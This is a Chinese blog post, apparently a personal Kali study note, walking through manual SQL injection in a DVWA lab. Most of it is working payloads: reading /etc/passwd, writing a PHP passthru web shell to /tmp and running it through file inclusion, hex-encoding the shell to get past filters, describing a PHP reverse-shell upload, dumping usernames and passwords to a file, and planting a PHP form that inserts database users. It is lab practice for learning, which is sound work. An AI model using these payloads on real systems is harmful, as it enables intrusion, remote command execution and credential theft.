• Kali学习笔记40:SQL手工注入(2)


    上一篇讲到可以通过注入得到数据库中所有的表信息

    而SQL注入能不能做数据库之外的事情呢?

      

    读取文件:

    ' union select null,load_file('/etc/passwd') -- 

    为了方便进行测试,后边我使用Burpsuite

    既然可以读取文件了,那么也就可以写文件:比如经典的PHP一句话

    ' union select null,"<?php passthru($_GET['cmd']);?>" INTO DUMPFILE "/var/www/a.php" -- 

    结果是无法写入文件,这是什么原因呢?

    我猜测是目录权限的问题

    于是去掉/var/www

    ' union select null,"<?php passthru($_GET['cmd']);?>" INTO DUMPFILE 'a.php' -- 

    成功,所以得出应该是目录问题

    首先我们看一下上传成功的文件在哪个目录:

    发现在/var/lib/mysql/dvwa下存放

     

    查看后发现属主和属组是Mysql,其他用户无法访问,甚至mysql组其他用户都没有权限

    然后我们以root的身份进入dvwa目录查看a.php

    那么我们就没有办法把这一句话PHP文件写入到指定位置了吗?

    我们可以结合以前提到的文件包含漏洞,写入通用目录/tmp/,最终达到命令执行

    实现:

    写入:注意这里的单双引号

    ' union select null,"<?php passthru($_GET['cmd']);?>" INTO DUMPFILE "/tmp/a.php" -- 

    然后利用文件包含漏洞:

    最终成功!

    所以SQL注入写文件,是以mysql用户写入的,所以可以采用中间目录的方法,然后结合其他漏洞完成命令执行

    如果目标系统管理员的权限配置不当,那么只要能够SQL注入,就可以直接拿到shell

    既然可以上传一句话PHP,那么也可以上传反弹连接PHP脚本

    找到Kali自带的PHP反弹连接脚本,重命名为b.php,利用xxd转换为十六进制

    由于服务器通常会过滤<?以及换行符,我们再使用tr去除换行符

    得到一堆16进制,复制出来,替换位置(1)

    ' union select null,(0x(1)) INTO DUMPFILE "/tmp/b.php" -- 

    发送之后,理论上会成功,但是由于URL过长,报错

    可以换一个小木马,甚至就使用刚才的a.php

     '%20union%20select%20null,%20(0x3c3f70687020706173737468727528245f4745545b27636d64275d293b3f3e)%20INTO%20DUMPFILE%20"/tmp/b.php"%20--%20

    进行URL编码后就是上边的结果:注意(0x之前必须加一个空格

    在metasploitable中查到了,实际上就是刚才的a.php内容,但是我们使用十六进制编码绕过了过滤

    验证命令执行:

    成功!

    有时候,数据库的内容太多,我们不可以在一个页面中观看

    所以考虑如何直接把数据库下载下来

     ' union select null,concat(user,0x3a,password) from users INTO OUTFILE "/tmp/a.db" -- 

    查看:

    扩展:一个思路

    我们甚至可以直接给目标开发一个功能:自定义一个表单,输入信息,然后在数据库插入信息

     ' union select null,'<?php if(isset($_POST["submit"])) { $userID = $_POST["userID"]; $first_name
    = $_POST["first_name"]; $last_name = $_POST["last_name"]; $username =
    $_POST["username"]; $avatar = $_POST["avatar"]; echo "userID: $userID<BR>"; echo
    "first_name: $first_name<BR>"; echo "last_name: $last_name<BR>"; echo "username:
    $username<BR>"; echo "avatar: $avatar<BR>";
    $con=mysqli_connect("127.0.0.1","root","","dvwa"); if (mysqli_connect_errno()) { echo
    "Failed to connect to MySQL: " . mysqli_connect_error(); } else { echo "Connected to
    database<BR>"; } $password = "123"; $sql="insert into dvwa.users values (\"$userID\",
    "$first_name\",\"$last_name\",\"$username\",MD5(\"$password\"),\"$avatar
    ")"; if (mysqli_query($con,$sql)) { echo "[Successful Insertion]: $sql"; } else { echo "Error
    creating database: " . mysqli_error($con); } mysqli_close($con); } ?> <form method="post"
    action="<?php echo $_SERVER["PHP_SELF"]; ?>"> <input type="text" name="userID"
    ><br> <input type="text" name="first_name"><br> <input type="text" name="last_name"><br> <input type="text" name="username"><br> <input type="text" name="avatar"><br> <input type="submit" name="submit" value="Submit Form"><br> </form>' INTO DUMPFILE "/tmp/user.php" --

     然后利用文件包含漏洞,即可利用

    这种方式实际上并没有成功,不过可以作为一个思路

  • 相关阅读:
    2018 ACM 网络选拔赛 徐州赛区
    2018 ACM 网络选拔赛 焦作赛区
    2018 ACM 网络选拔赛 沈阳赛区
    poj 2289 网络流 and 二分查找
    poj 2446 二分图最大匹配
    poj 1469 二分图最大匹配
    poj 3249 拓扑排序 and 动态规划
    poj 3687 拓扑排序
    poj 2585 拓扑排序
    poj 1094 拓扑排序
  • 原文地址:https://www.cnblogs.com/xuyiqing/p/10361199.html
Copyright © 2020-2023  润新知